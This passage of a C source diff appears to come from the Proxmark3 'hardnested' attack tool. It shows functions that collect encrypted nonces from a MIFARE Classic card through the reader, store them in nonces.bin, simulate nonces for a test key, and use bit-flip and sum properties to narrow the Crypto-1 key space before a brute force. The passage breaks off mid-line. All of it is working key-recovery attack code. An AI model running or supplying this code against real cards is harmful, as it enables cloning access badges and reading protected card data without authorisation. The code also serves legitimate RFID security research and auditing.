+ +} + + +static float check_smallest_bitflip_bitarrays(void) +{ + uint32_t num_odd, num_even; + uint64_t smallest = 1LL << 48; + // initialize best_first_bytes, do a rough estimation on remaining states + for (uint16_t i = 0; i < 256; i++) { + num_odd = nonces[i].num_states_bitarray[ODD_STATE]; + num_even = nonces[i].num_states_bitarray[EVEN_STATE]; // * (float)nonces[i^0x80].num_states_bitarray[EVEN_STATE] / num_all_bitflips_bitarray[EVEN_STATE]; + if ((uint64_t)num_odd * num_even < smallest) { + smallest = (uint64_t)num_odd * num_even; + best_first_byte_smallest_bitarray = i; + } + } + +#if defined (DEBUG_REDUCTION) + num_odd = nonces[best_first_byte_smallest_bitarray].num_states_bitarray[ODD_STATE]; + num_even = nonces[best_first_byte_smallest_bitarray].num_states_bitarray[EVEN_STATE]; // * (float)nonces[best_first_byte_smallest_bitarray^0x80].num_states_bitarray[EVEN_STATE] / num_all_bitflips_bitarray[EVEN_STATE]; + printf("0x%02x: %8d * %8d = %12" PRIu64 " (2^%1.1f)\n", best_first_byte_smallest_bitarray, num_odd, num_even, (uint64_t)num_odd * num_even, log((uint64_t)num_odd * num_even)/log(2.0)); +#endif + return (float)smallest/2.0; +} + + +static void update_expected_brute_force(uint8_t best_byte) { + + float total_prob = 0.0; + for (uint8_t i = 0; i < NUM_SUMS; i++) { + total_prob += nonces[best_byte].sum_a8_guess[i].prob; + } + // linear adjust probabilities to result in total_prob = 1.0; + for (uint8_t i = 0; i < NUM_SUMS; i++) { + nonces[best_byte].sum_a8_guess[i].prob /= total_prob; + } + float prob_all_failed = 1.0; + nonces[best_byte].expected_num_brute_force = 0.0; + for (uint8_t i = 0; i < NUM_SUMS; i++) { + nonces[best_byte].expected_num_brute_force += nonces[best_byte].sum_a8_guess[i].prob * (float)nonces[best_byte].sum_a8_guess[i].num_states / 2.0; + prob_all_failed -= nonces[best_byte].sum_a8_guess[i].prob; + nonces[best_byte].expected_num_brute_force += prob_all_failed * (float)nonces[best_byte].sum_a8_guess[i].num_states / 2.0; + } + return; +} + + +static float sort_best_first_bytes(void) +{ + + // initialize best_first_bytes, do a rough estimation on remaining states for each Sum_a8 property + // and the expected number of states to brute force + for (uint16_t i = 0; i < 256; i++) { + best_first_bytes[i] = i; + float prob_all_failed = 1.0; + nonces[i].expected_num_brute_force = 0.0; + for (uint8_t j = 0; j < NUM_SUMS; j++) { + nonces[i].sum_a8_guess[j].num_states = estimated_num_states_coarse(sums[first_byte_Sum], sums[nonces[i].sum_a8_guess[j].sum_a8_idx]); + nonces[i].expected_num_brute_force += nonces[i].sum_a8_guess[j].prob * (float)nonces[i].sum_a8_guess[j].num_states / 2.0; + prob_all_failed -= nonces[i].sum_a8_guess[j].prob; + nonces[i].expected_num_brute_force += prob_all_failed * (float)nonces[i].sum_a8_guess[j].num_states / 2.0; + } + } + + // sort based on expected number of states to brute force + qsort(best_first_bytes, 256, 1, compare_expected_num_brute_force); + + // printf("refine estimations: "); + #define NUM_REFINES 1 + // refine scores for the best: + for (uint16_t i = 0; i < NUM_REFINES; i++) { + // printf("%d...", i); + uint16_t first_byte = best_first_bytes[i]; + for (uint8_t j = 0; j < NUM_SUMS && nonces[first_byte].sum_a8_guess[j].prob > 0.05; j++) { + nonces[first_byte].sum_a8_guess[j].num_states = estimated_num_states(first_byte, sums[first_byte_Sum], sums[nonces[first_byte].sum_a8_guess[j].sum_a8_idx]); + } + // while (nonces[first_byte].sum_a8_guess[0].num_states == 0 + // || nonces[first_byte].sum_a8_guess[1].num_states == 0 + // || nonces[first_byte].sum_a8_guess[2].num_states == 0) { + // if (nonces[first_byte].sum_a8_guess[0].num_states == 0) { + // nonces[first_byte].sum_a8_guess[0].prob = 0.0; + // printf("(0x%02x,%d)", first_byte, 0); + // } + // if (nonces[first_byte].sum_a8_guess[1].num_states == 0) { + // nonces[first_byte].sum_a8_guess[1].prob = 0.0; + // printf("(0x%02x,%d)", first_byte, 1); + // } + // if (nonces[first_byte].sum_a8_guess[2].num_states == 0) { + // nonces[first_byte].sum_a8_guess[2].prob = 0.0; + // printf("(0x%02x,%d)", first_byte, 2); + // } + // printf("|"); + // qsort(nonces[first_byte].sum_a8_guess, NUM_SUMS, sizeof(guess_sum_a8_t), compare_sum_a8_guess); + // for (uint8_t j = 0; j < NUM_SUMS && nonces[first_byte].sum_a8_guess[j].prob > 0.05; j++) { + // nonces[first_byte].sum_a8_guess[j].num_states = estimated_num_states(first_byte, sums[first_byte_Sum], sums[nonces[first_byte].sum_a8_guess[j].sum_a8_idx]); + // } + // } + // float fix_probs = 0.0; + // for (uint8_t j = 0; j < NUM_SUMS; j++) { + // fix_probs += nonces[first_byte].sum_a8_guess[j].prob; + // } + // for (uint8_t j = 0; j < NUM_SUMS; j++) { + // nonces[first_byte].sum_a8_guess[j].prob /= fix_probs; + // } + // for (uint8_t j = 0; j < NUM_SUMS && nonces[first_byte].sum_a8_guess[j].prob > 0.05; j++) { + // nonces[first_byte].sum_a8_guess[j].num_states = estimated_num_states(first_byte, sums[first_byte_Sum], sums[nonces[first_byte].sum_a8_guess[j].sum_a8_idx]); + // } + float prob_all_failed = 1.0; + nonces[first_byte].expected_num_brute_force = 0.0; + for (uint8_t j = 0; j < NUM_SUMS; j++) { + nonces[first_byte].expected_num_brute_force += nonces[first_byte].sum_a8_guess[j].prob * (float)nonces[first_byte].sum_a8_guess[j].num_states / 2.0; + prob_all_failed -= nonces[first_byte].sum_a8_guess[j].prob; + nonces[first_byte].expected_num_brute_force += prob_all_failed * (float)nonces[first_byte].sum_a8_guess[j].num_states / 2.0; + } + } + + // copy best byte to front: + float least_expected_brute_force = (1LL << 48); + uint8_t best_byte = 0; + for (uint16_t i = 0; i < 10; i++) { + uint16_t first_byte = best_first_bytes[i]; + if (nonces[first_byte].expected_num_brute_force < least_expected_brute_force) { + least_expected_brute_force = nonces[first_byte].expected_num_brute_force; + best_byte = i; + } + } + if (best_byte != 0) { + // printf("0x%02x <-> 0x%02x", best_first_bytes[0], best_first_bytes[best_byte]); + uint8_t tmp = best_first_bytes[0]; + best_first_bytes[0] = best_first_bytes[best_byte]; + best_first_bytes[best_byte] = tmp; + } + + return nonces[best_first_bytes[0]].expected_num_brute_force; +} + + +static float update_reduction_rate(float last, bool init) +{ +#define QUEUE_LEN 4 + static float queue[QUEUE_LEN]; + + for (uint16_t i = 0; i < QUEUE_LEN-1; i++) { + if (init) { + queue[i] = (float)(1LL << 48); + } else { + queue[i] = queue[i+1]; + } + } + if (init) { + queue[QUEUE_LEN-1] = (float)(1LL << 48); + } else { + queue[QUEUE_LEN-1] = last; + } + + // linear regression + float avg_y = 0.0; + float avg_x = 0.0; + for (uint16_t i = 0; i < QUEUE_LEN; i++) { + avg_x += i; + avg_y += queue[i]; + } + avg_x /= QUEUE_LEN; + avg_y /= QUEUE_LEN; + + float dev_xy = 0.0; + float dev_x2 = 0.0; + for (uint16_t i = 0; i < QUEUE_LEN; i++) { + dev_xy += (i - avg_x)*(queue[i] - avg_y); + dev_x2 += (i - avg_x)*(i - avg_x); + } + + float reduction_rate = -1.0 * dev_xy / dev_x2; // the negative slope of the linear regression + +#if defined (DEBUG_REDUCTION) + printf("update_reduction_rate(%1.0f) = %1.0f per sample, brute_force_per_sample = %1.0f\n", last, reduction_rate, brute_force_per_second * (float)sample_period / 1000.0); +#endif + return reduction_rate; +} + + +static bool shrink_key_space(float *brute_forces) +{ +#if defined(DEBUG_REDUCTION) + printf("shrink_key_space() with stage = 0x%02x\n", hardnested_stage); +#endif + float brute_forces1 = check_smallest_bitflip_bitarrays(); + float brute_forces2 = (float)(1LL << 47); + if (hardnested_stage & CHECK_2ND_BYTES) { + brute_forces2 = sort_best_first_bytes(); + } + *brute_forces = MIN(brute_forces1, brute_forces2); + float reduction_rate = update_reduction_rate(*brute_forces, false); + return ((hardnested_stage & CHECK_2ND_BYTES) + && reduction_rate >= 0.0 && reduction_rate < brute_force_per_second * sample_period / 1000.0); +} + + +static void estimate_sum_a8(void) +{ + if (first_byte_num == 256) { + for (uint16_t i = 0; i < 256; i++) { + if (nonces[i].sum_a8_guess_dirty) { + for (uint16_t j = 0; j < NUM_SUMS; j++ ) { + uint16_t sum_a8_idx = nonces[i].sum_a8_guess[j].sum_a8_idx; + nonces[i].sum_a8_guess[j].prob = sum_probability(sum_a8_idx, nonces[i].num, nonces[i].Sum); + } + qsort(nonces[i].sum_a8_guess, NUM_SUMS, sizeof(guess_sum_a8_t), compare_sum_a8_guess); + nonces[i].sum_a8_guess_dirty = false; + } + } + } +} + + +static int read_nonce_file(void) +{ + FILE *fnonces = NULL; + size_t bytes_read; + uint8_t trgBlockNo; + uint8_t trgKeyType; + uint8_t read_buf[9]; + uint32_t nt_enc1, nt_enc2; + uint8_t par_enc; + + num_acquired_nonces = 0; + if ((fnonces = fopen("nonces.bin","rb")) == NULL) { + PrintAndLog("Could not open file nonces.bin"); + return 1; + } + + hardnested_print_progress(0, "Reading nonces from file nonces.bin...", (float)(1LL<<47), 0); + bytes_read = fread(read_buf, 1, 6, fnonces); + if (bytes_read != 6) { + PrintAndLog("File reading error."); + fclose(fnonces); + return 1; + } + cuid = bytes_to_num(read_buf, 4); + trgBlockNo = bytes_to_num(read_buf+4, 1); + trgKeyType = bytes_to_num(read_buf+5, 1); + + bytes_read = fread(read_buf, 1, 9, fnonces); + while (bytes_read == 9) { + nt_enc1 = bytes_to_num(read_buf, 4); + nt_enc2 = bytes_to_num(read_buf+4, 4); + par_enc = bytes_to_num(read_buf+8, 1); + add_nonce(nt_enc1, par_enc >> 4); + add_nonce(nt_enc2, par_enc & 0x0f); + num_acquired_nonces += 2; + bytes_read = fread(read_buf, 1, 9, fnonces); + } + fclose(fnonces); + + char progress_string[80]; + sprintf(progress_string, "Read %d nonces from file. cuid=%08x", num_acquired_nonces, cuid); + hardnested_print_progress(num_acquired_nonces, progress_string, (float)(1LL<<47), 0); + sprintf(progress_string, "Target Block=%d, Keytype=%c", trgBlockNo, trgKeyType==0?'A':'B'); + hardnested_print_progress(num_acquired_nonces, progress_string, (float)(1LL<<47), 0); + + for (uint16_t i = 0; i < NUM_SUMS; i++) { + if (first_byte_Sum == sums[i]) { + first_byte_Sum = i; + break; + } + } + + return 0; +} + + +noncelistentry_t *SearchFor2ndByte(uint8_t b1, uint8_t b2) +{ + noncelistentry_t *p = nonces[b1].first; + while (p != NULL) { + if ((p->nonce_enc >> 16 & 0xff) == b2) { + return p; + } + p = p->next; + } + return NULL; +} + + +static bool timeout(void) +{ + return (msclock() > last_sample_clock + sample_period); +} + + +static void *check_for_BitFlipProperties_thread(void *args) +{ + uint8_t first_byte = ((uint8_t *)args)[0]; + uint8_t last_byte = ((uint8_t *)args)[1]; + uint8_t time_budget = ((uint8_t *)args)[2]; + + if (hardnested_stage & CHECK_1ST_BYTES) { + // for (uint16_t bitflip = 0x001; bitflip < 0x200; bitflip++) { + for (uint16_t bitflip_idx = 0; bitflip_idx < num_1st_byte_effective_bitflips; bitflip_idx++) { + uint16_t bitflip = all_effective_bitflip[bitflip_idx]; + if (time_budget & timeout()) { +#if defined (DEBUG_REDUCTION) + printf("break at bitflip_idx %d...", bitflip_idx); +#endif + return NULL; + } + for (uint16_t i = first_byte; i <= last_byte; i++) { + if (nonces[i].BitFlips[bitflip] == 0 && nonces[i].BitFlips[bitflip ^ 0x100] == 0 + && nonces[i].first != NULL && nonces[i^(bitflip&0xff)].first != NULL) { + uint8_t parity1 = (nonces[i].first->par_enc) >> 3; // parity of first byte + uint8_t parity2 = (nonces[i^(bitflip&0xff)].first->par_enc) >> 3; // parity of nonce with bits flipped + if ((parity1 == parity2 && !(bitflip & 0x100)) // bitflip + || (parity1 != parity2 && (bitflip & 0x100))) { // not bitflip + nonces[i].BitFlips[bitflip] = 1; + for (odd_even_t odd_even = EVEN_STATE; odd_even <= ODD_STATE; odd_even++) { + if (bitflip_bitarrays[odd_even][bitflip] != NULL) { + uint32_t old_count = nonces[i].num_states_bitarray[odd_even]; + nonces[i].num_states_bitarray[odd_even] = count_bitarray_AND(nonces[i].states_bitarray[odd_even], bitflip_bitarrays[odd_even][bitflip]); + if (nonces[i].num_states_bitarray[odd_even] != old_count) { + nonces[i].all_bitflips_dirty[odd_even] = true; + } + // printf("bitflip: %d old: %d, new: %d ", bitflip, old_count, nonces[i].num_states_bitarray[odd_even]); + } + } + } + } + } + ((uint8_t *)args)[1] = num_1st_byte_effective_bitflips - bitflip_idx - 1; // bitflips still to go in stage 1 + } + } + + ((uint8_t *)args)[1] = 0; // stage 1 definitely completed + + if (hardnested_stage & CHECK_2ND_BYTES) { + for (uint16_t bitflip_idx = num_1st_byte_effective_bitflips; bitflip_idx < num_all_effective_bitflips; bitflip_idx++) { + uint16_t bitflip = all_effective_bitflip[bitflip_idx]; + if (time_budget & timeout()) { +#if defined (DEBUG_REDUCTION) + printf("break at bitflip_idx %d...", bitflip_idx); +#endif + return NULL; + } + for (uint16_t i = first_byte; i <= last_byte; i++) { + // Check for Bit Flip Property of 2nd bytes + if (nonces[i].BitFlips[bitflip] == 0) { + for (uint16_t j = 0; j < 256; j++) { // for each 2nd Byte + noncelistentry_t *byte1 = SearchFor2ndByte(i, j); + noncelistentry_t *byte2 = SearchFor2ndByte(i, j^(bitflip&0xff)); + if (byte1 != NULL && byte2 != NULL) { + uint8_t parity1 = byte1->par_enc >> 2 & 0x01; // parity of 2nd byte + uint8_t parity2 = byte2->par_enc >> 2 & 0x01; // parity of 2nd byte with bits flipped + if ((parity1 == parity2 && !(bitflip&0x100)) // bitflip + || (parity1 != parity2 && (bitflip&0x100))) { // not bitflip + nonces[i].BitFlips[bitflip] = 1; + for (odd_even_t odd_even = EVEN_STATE; odd_even <= ODD_STATE; odd_even++) { + if (bitflip_bitarrays[odd_even][bitflip] != NULL) { + uint32_t old_count = nonces[i].num_states_bitarray[odd_even]; + nonces[i].num_states_bitarray[odd_even] = count_bitarray_AND(nonces[i].states_bitarray[odd_even], bitflip_bitarrays[odd_even][bitflip]); + if (nonces[i].num_states_bitarray[odd_even] != old_count) { + nonces[i].all_bitflips_dirty[odd_even] = true; + } + } + } + break; + } + } + } + } + // printf("states_bitarray[0][%" PRIu16 "] contains %d ones.\n", i, count_states(nonces[i].states_bitarray[EVEN_STATE])); + // printf("states_bitarray[1][%" PRIu16 "] contains %d ones.\n", i, count_states(nonces[i].states_bitarray[ODD_STATE])); + } + } + } + + return NULL; +} + + +static void check_for_BitFlipProperties(bool time_budget) +{ + // create and run worker threads + pthread_t thread_id[NUM_CHECK_BITFLIPS_THREADS]; + + uint8_t args[NUM_CHECK_BITFLIPS_THREADS][3]; + uint16_t bytes_per_thread = (256 + (NUM_CHECK_BITFLIPS_THREADS/2)) / NUM_CHECK_BITFLIPS_THREADS; + for (uint8_t i = 0; i < NUM_CHECK_BITFLIPS_THREADS; i++) { + args[i][0] = i * bytes_per_thread; + args[i][1] = MIN(args[i][0]+bytes_per_thread-1, 255); + args[i][2] = time_budget; + } + args[NUM_CHECK_BITFLIPS_THREADS-1][1] = MAX(args[NUM_CHECK_BITFLIPS_THREADS-1][1], 255); + + // start threads + for (uint8_t i = 0; i < NUM_CHECK_BITFLIPS_THREADS; i++) { + pthread_create(&thread_id[i], NULL, check_for_BitFlipProperties_thread, args[i]); + } + + // wait for threads to terminate: + for (uint8_t i = 0; i < NUM_CHECK_BITFLIPS_THREADS; i++) { + pthread_join(thread_id[i], NULL); + } + + if (hardnested_stage & CHECK_2ND_BYTES) { + hardnested_stage &= ~CHECK_1ST_BYTES; // we are done with 1st stage, except... + for (uint16_t i = 0; i < NUM_CHECK_BITFLIPS_THREADS; i++) { + if (args[i][1] != 0) { + hardnested_stage |= CHECK_1ST_BYTES; // ... when any of the threads didn't complete in time + break; + } + } + } +#if defined (DEBUG_REDUCTION) + if (hardnested_stage & CHECK_1ST_BYTES) printf("stage 1 not completed yet\n"); +#endif +} + + +static void update_nonce_data(bool time_budget) +{ + check_for_BitFlipProperties(time_budget); + update_allbitflips_array(); + update_sum_bitarrays(EVEN_STATE); + update_sum_bitarrays(ODD_STATE); + update_p_K(); + estimate_sum_a8(); +} + + +static void apply_sum_a0(void) +{ + uint32_t old_count = num_all_bitflips_bitarray[EVEN_STATE]; + num_all_bitflips_bitarray[EVEN_STATE] = count_bitarray_AND(all_bitflips_bitarray[EVEN_STATE], sum_a0_bitarrays[EVEN_STATE][first_byte_Sum]); + if (num_all_bitflips_bitarray[EVEN_STATE] != old_count) { + all_bitflips_bitarray_dirty[EVEN_STATE] = true; + } + old_count = num_all_bitflips_bitarray[ODD_STATE]; + num_all_bitflips_bitarray[ODD_STATE] = count_bitarray_AND(all_bitflips_bitarray[ODD_STATE], sum_a0_bitarrays[ODD_STATE][first_byte_Sum]); + if (num_all_bitflips_bitarray[ODD_STATE] != old_count) { + all_bitflips_bitarray_dirty[ODD_STATE] = true; + } +} + + +static void simulate_MFplus_RNG(uint32_t test_cuid, uint64_t test_key, uint32_t *nt_enc, uint8_t *par_enc) +{ + struct Crypto1State sim_cs = {0, 0}; + + // init cryptostate with key: + for(int8_t i = 47; i > 0; i -= 2) { + sim_cs.odd = sim_cs.odd << 1 | BIT(test_key, (i - 1) ^ 7); + sim_cs.even = sim_cs.even << 1 | BIT(test_key, i ^ 7); + } + + *par_enc = 0; + uint32_t nt = (rand() & 0xff) << 24 | (rand() & 0xff) << 16 | (rand() & 0xff) << 8 | (rand() & 0xff); + for (int8_t byte_pos = 3; byte_pos >= 0; byte_pos--) { + uint8_t nt_byte_dec = (nt >> (8*byte_pos)) & 0xff; + uint8_t nt_byte_enc = crypto1_byte(&sim_cs, nt_byte_dec ^ (test_cuid >> (8*byte_pos)), false) ^ nt_byte_dec; // encode the nonce byte + *nt_enc = (*nt_enc << 8) | nt_byte_enc; + uint8_t ks_par = filter(sim_cs.odd); // the keystream bit to encode/decode the parity bit + uint8_t nt_byte_par_enc = ks_par ^ oddparity8(nt_byte_dec); // determine the nt byte's parity and encode it + *par_enc = (*par_enc << 1) | nt_byte_par_enc; + } + +} + + +static void simulate_acquire_nonces() +{ + time_t time1 = time(NULL); + last_sample_clock = 0; + sample_period = 1000; // for simulation + hardnested_stage = CHECK_1ST_BYTES; + bool acquisition_completed = false; + uint32_t total_num_nonces = 0; + float brute_force; + bool reported_suma8 = false; + + cuid = (rand() & 0xff) << 24 | (rand() & 0xff) << 16 | (rand() & 0xff) << 8 | (rand() & 0xff); + if (known_target_key == -1) { + known_target_key = ((uint64_t)rand() & 0xfff) << 36 | ((uint64_t)rand() & 0xfff) << 24 | ((uint64_t)rand() & 0xfff) << 12 | ((uint64_t)rand() & 0xfff); + } + + char progress_text[80]; + sprintf(progress_text, "Simulating key %012" PRIx64 ", cuid %08" PRIx32 " ...", known_target_key, cuid); + hardnested_print_progress(0, progress_text, (float)(1LL<<47), 0); + fprintf(fstats, "%012" PRIx64 ";%" PRIx32 ";", known_target_key, cuid); + + num_acquired_nonces = 0; + + do { + uint32_t nt_enc = 0; + uint8_t par_enc = 0; + + for (uint16_t i = 0; i < 113; i++) { + simulate_MFplus_RNG(cuid, known_target_key, &nt_enc, &par_enc); + num_acquired_nonces += add_nonce(nt_enc, par_enc); + total_num_nonces++; + } + + last_sample_clock = msclock(); + + if (first_byte_num == 256 ) { + if (hardnested_stage == CHECK_1ST_BYTES) { + for (uint16_t i = 0; i < NUM_SUMS; i++) { + if (first_byte_Sum == sums[i]) { + first_byte_Sum = i; + break; + } + } + hardnested_stage |= CHECK_2ND_BYTES; + apply_sum_a0(); + } + update_nonce_data(true); + acquisition_completed = shrink_key_space(&brute_force); + if (!reported_suma8) { + char progress_string[80]; + sprintf(progress_string, "Apply Sum property. Sum(a0) = %d", sums[first_byte_Sum]); + hardnested_print_progress(num_acquired_nonces, progress_string, brute_force, 0); + reported_suma8 = true; + } else { + hardnested_print_progress(num_acquired_nonces, "Apply bit flip properties", brute_force, 0); + } + } else { + update_nonce_data(true); + acquisition_completed = shrink_key_space(&brute_force); + hardnested_print_progress(num_acquired_nonces, "Apply bit flip properties", brute_force, 0); + } + } while (!acquisition_completed); + + time_t end_time = time(NULL); + // PrintAndLog("Acquired a total of %" PRId32" nonces in %1.0f seconds (%1.0f nonces/minute)", + // num_acquired_nonces, + // difftime(end_time, time1), + // difftime(end_time, time1)!=0.0?(float)total_num_nonces*60.0/difftime(end_time, time1):INFINITY + // ); + + fprintf(fstats, "%" PRId32 ";%" PRId32 ";%1.0f;", total_num_nonces, num_acquired_nonces, difftime(end_time,time1)); + +} + + +static int acquire_nonces(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, bool nonce_file_write, bool slow) +{ + last_sample_clock = msclock(); + sample_period = 2000; // initial rough estimate. Will be refined. + bool initialize = true; + bool field_off = false; + hardnested_stage = CHECK_1ST_BYTES; + bool acquisition_completed = false; + uint32_t flags = 0; + uint8_t write_buf[9]; + uint32_t total_num_nonces = 0; + float brute_force; + bool reported_suma8 = false; + FILE *fnonces = NULL; + UsbCommand resp; + + num_acquired_nonces = 0; + + clearCommandBuffer(); + + do { + flags = 0; + flags |= initialize ? 0x0001 : 0; + flags |= slow ? 0x0002 : 0; + flags |= field_off ? 0x0004 : 0; + UsbCommand c = {CMD_MIFARE_ACQUIRE_ENCRYPTED_NONCES, {blockNo + keyType * 0x100, trgBlockNo + trgKeyType * 0x100, flags}}; + memcpy(c.d.asBytes, key, 6); + + SendCommand(&c); + + if (field_off) break; + + if (initialize) { + if (!WaitForResponseTimeout(CMD_ACK, &resp, 3000)) return 1; + + if (resp.arg[0]) return resp.arg[0]; // error during nested_hard + + cuid = resp.arg[1]; + // PrintAndLog("Acquiring nonces for CUID 0x%08x", cuid); + if (nonce_file_write && fnonces == NULL) { + if ((fnonces = fopen("nonces.bin","wb")) == NULL) { + PrintAndLog("Could not create file nonces.bin"); + return 3; + } + hardnested_print_progress(0, "Writing acquired nonces to binary file nonces.bin", (float)(1LL<<47), 0); + num_to_bytes(cuid, 4, write_buf); + fwrite(write_buf, 1, 4, fnonces); + fwrite(&trgBlockNo, 1, 1, fnonces); + fwrite(&trgKeyType, 1, 1, fnonces); + } + } + + if (!initialize) { + uint32_t nt_enc1, nt_enc2; + uint8_t par_enc; + uint16_t num_sampled_nonces = resp.arg[2]; + uint8_t *bufp = resp.d.asBytes; + for (uint16_t i = 0; i < num_sampled_nonces; i+=2) { + nt_enc1 = bytes_to_num(bufp, 4); + nt_enc2 = bytes_to_num(bufp+4, 4); + par_enc = bytes_to_num(bufp+8, 1); + + //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc1, par_enc >> 4); + num_acquired_nonces += add_nonce(nt_enc1, par_enc >> 4); + //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc2, par_enc & 0x0f); + num_acquired_nonces += add_nonce(nt_enc2, par_enc & 0x0f); + + if (nonce_file_write) { + fwrite(bufp, 1, 9, fnonces); + } + bufp += 9; + } + total_num_nonces += num_sampled_nonces; + + if (first_byte_num == 256 ) { + if (hardnested_stage == CHECK_1ST_BYTES) { + for (uint16_t i = 0; i < NUM_SUMS; i++) { + if (first_byte_Sum == sums[i]) { + first_byte_Sum = i; + break; + } + } + hardnested_stage |= CHECK_2ND_BYTES; + apply_sum_a0(); + } + update_nonce_data(true); + acquisition_completed = shrink_key_space(&brute_force); + if (!reported_suma8) { + char progress_string[80]; + sprintf(progress_string, "Apply Sum property. Sum(a0) = %d", sums[first_byte_Sum]); + hardnested_print_progress(num_acquired_nonces, progress_string, brute_force, 0); + reported_suma8 = true; + } else { + hardnested_print_progress(num_acquired_nonces, "Apply bit flip properties", brute_force, 0); + } + } else { + update_nonce_data(true); + acquisition_completed = shrink_key_space(&brute_force); + hardnested_print_progress(num_acquired_nonces, "Apply bit flip properties", brute_force, 0); + } + } + + if (acquisition_completed) { + field_off = true; // switch off field with next SendCommand and then finish + } + + if (!initialize) { + if (!WaitForResponseTimeout(CMD_ACK, &resp, 3000)) { + if (nonce_file_write) { + fclose(fnonces); + } + return 1; + } + if (resp.arg[0]) { + if (nonce_file_write) { + fclose(fnonces); + } + return resp.arg[0]; // error during nested_hard + } + } + + initialize = false; + + if (msclock() - last_sample_clock < sample_period) { + sample_period = msclock() - last_sample_clock; + } + last_sample_clock = msclock(); + + } while (!acquisition_completed || field_off); + + if (nonce_file_write) { + fclose(fnonces); + } + + // PrintAndLog("Sampled a total of %d nonces in %d seconds (%0.0f nonces/minute)", + // total_num_nonces, + // time(NULL)-time1, + // (float)total_num_nonces*60.0/(time(NULL)-time1)); + + return 0; +} + + +static inline bool invariant_holds(uint_fast8_t byte_diff, uint_fast32_t state1, uint_fast32_t state2, uint_fast8_t bit, uint_fast8_t state_bit) +{ + uint_fast8_t j_1_bit_mask = 0x01 << (bit-1); + uint_fast8_t bit_diff = byte_diff & j_1_bit_mask; // difference of (j-1)th bit + uint_fast8_t filter_diff = filter(state1 >> (4-state_bit)) ^ filter(state2 >> (4-state_bit)); // difference in filter function + uint_fast8_t mask_y12_y13 = 0xc0 >> state_bit; + uint_fast8_t state_bits_diff = (state1 ^ state2) & mask_y12_y13; // difference in state bits 12 and 13 + uint_fast8_t all_diff = evenparity8(bit_diff ^ state_bits_diff ^ filter_diff); // use parity function to XOR all bits + return !all_diff; +} + + +static inline bool invalid_state(uint_fast8_t byte_diff, uint_fast32_t state1, uint_fast32_t state2, uint_fast8_t bit, uint_fast8_t state_bit) +{ + uint_fast8_t j_bit_mask = 0x01 << bit; + uint_fast8_t bit_diff = byte_diff & j_bit_mask; // difference of jth bit + uint_fast8_t mask_y13_y16 = 0x48 >> state_bit; + uint_fast8_t state_bits_diff = (state1 ^ state2) & mask_y13_y16; // difference in state bits 13 and 16 + uint_fast8_t all_diff = evenparity8(bit_diff ^ state_bits_diff); // use parity function to XOR all bits + return all_diff; +} + + +static inline bool remaining_bits_match(uint_fast8_t num_common_bits, uint_fast8_t byte_diff, uint_fast32_t state1, uint_fast32_t state2, odd_even_t odd_even) +{ + if (odd_even) { + // odd bits + switch (num_common_bits) { + case 0: if (!invariant_holds(byte_diff, state1, state2, 1, 0)) return true; + case 1: if (invalid_state(byte_diff, state1, state2, 1, 0)) return false; + case 2: if (!invariant_holds(byte_diff, state1, state2, 3, 1)) return true; + case 3: if (invalid_state(byte_diff, state1, state2, 3, 1)) return false; + case 4: if (!invariant_holds(byte_diff, state1, state2, 5, 2)) return true; + case 5: if (invalid_state(byte_diff, state1, state2, 5, 2)) return false; + case 6: if (!invariant_holds(byte_diff, state1, state2, 7, 3)) return true; + case 7: if (invalid_state(byte_diff, state1, state2, 7, 3)) return false; + } + } else { + // even bits + switch (num_common_bits) { + case 0: if (invalid_state(byte_diff, state1, state2, 0, 0)) return false; + case 1: if (!invariant_holds(byte_diff, state1, state2, 2, 1)) return true; + case 2: if (invalid_state(byte_diff, state1, state2, 2, 1)) return false; + case 3: if (!invariant_holds(byte_diff, state1, state2, 4, 2)) return true; + case 4: if (invalid_state(byte_diff, state1, state2, 4, 2)) return false; + case 5: if (!invariant_holds(byte_diff, state1, state2, 6, 3)) return true; + case 6: if (invalid_state(byte_diff, state1, state2, 6, 3)) return false; + } + } + + return true; // valid state +} + + +static pthread_mutex_t statelist_cache_mutex; +static pthread_mutex_t book_of_work_mutex; + + +typedef enum { + TO_BE_DONE, + WORK_IN_PROGRESS, + COMPLETED +} work_status_t; + +static struct sl_cache_entry { + uint32_t *sl; + uint32_t len; + work_status_t cache_status; + } sl_cache[NUM_PART_SUMS][NUM_PART_SUMS][2]; + + +static void init_statelist_cache(void) +{ + pthread_mutex_lock(&statelist_cache_mutex); + for (uint16_t i = 0; i < NUM_PART_SUMS; i++) { + for (uint16_t j = 0; j < NUM_PART_SUMS; j++) { + for (uint16_t k = 0; k < 2; k++) { + sl_cache[i][j][k].sl = NULL; + sl_cache[i][j][k].len = 0; + sl_cache[i][j][k].cache_status = TO_BE_DONE; + } + } + } + pthread_mutex_unlock(&statelist_cache_mutex); +} + + +static void free_statelist_cache(void) +{ + pthread_mutex_lock(&statelist_cache_mutex); + for (uint16_t i = 0; i < NUM_PART_SUMS; i++) { + for (uint16_t j = 0; j < NUM_PART_SUMS; j++) { + for (uint16_t k = 0; k < 2; k++) { + free(sl_cache[i][j][k].sl); + } + } + } + pthread_mutex_unlock(&statelist_cache_mutex); +} + + +#ifdef DEBUG_KEY_ELIMINATION +static inline bool bitflips_match(uint8_t byte, uint32_t state, odd_even_t odd_even, bool quiet) +#else +static inline bool bitflips_match(uint8_t byte, uint32_t state, odd_even_t odd_even) +#endif +{ + uint32_t *bitset = nonces[byte].states_bitarray[odd_even]; + bool possible = test_bit24(bitset, state); + if (!possible) { +#ifdef DEBUG_KEY_ELIMINATION + if (!quiet && known_target_key != -1 && state == test_state[odd_even]) { + printf("Initial state lists: %s test state eliminated by bitflip property.\n", odd_even==EVEN_STATE?"even":"odd"); + sprintf(failstr, "Initial %s Byte Bitflip property", odd_even==EVEN_STATE?"even":"odd"); + } +#endif + return false; + } else { + return true; + } +} + + +static uint_fast8_t reverse(uint_fast8_t byte) +{ + uint_fast8_t rev_byte = 0; + + for (uint8_t i = 0; i < 8; i++) { + rev_byte <<= 1; + rev_byte |= (byte >> i) & 0x01; + } + + return rev_byte; +} + + +static bool all_bitflips_match(uint8_t byte, uint32_t state, odd_even_t odd_even) +{ + uint32_t masks[2][8] = {{0x00fffff0, 0x00fffff8, 0x00fffff8, 0x00fffffc, 0x00fffffc, 0x00fffffe, 0x00fffffe, 0x00ffffff}, + {0x00fffff0, 0x00fffff0, 0x00fffff8, 0x00fffff8, 0x00fffffc, 0x00fffffc, 0x00fffffe, 0x00fffffe} }; + + for 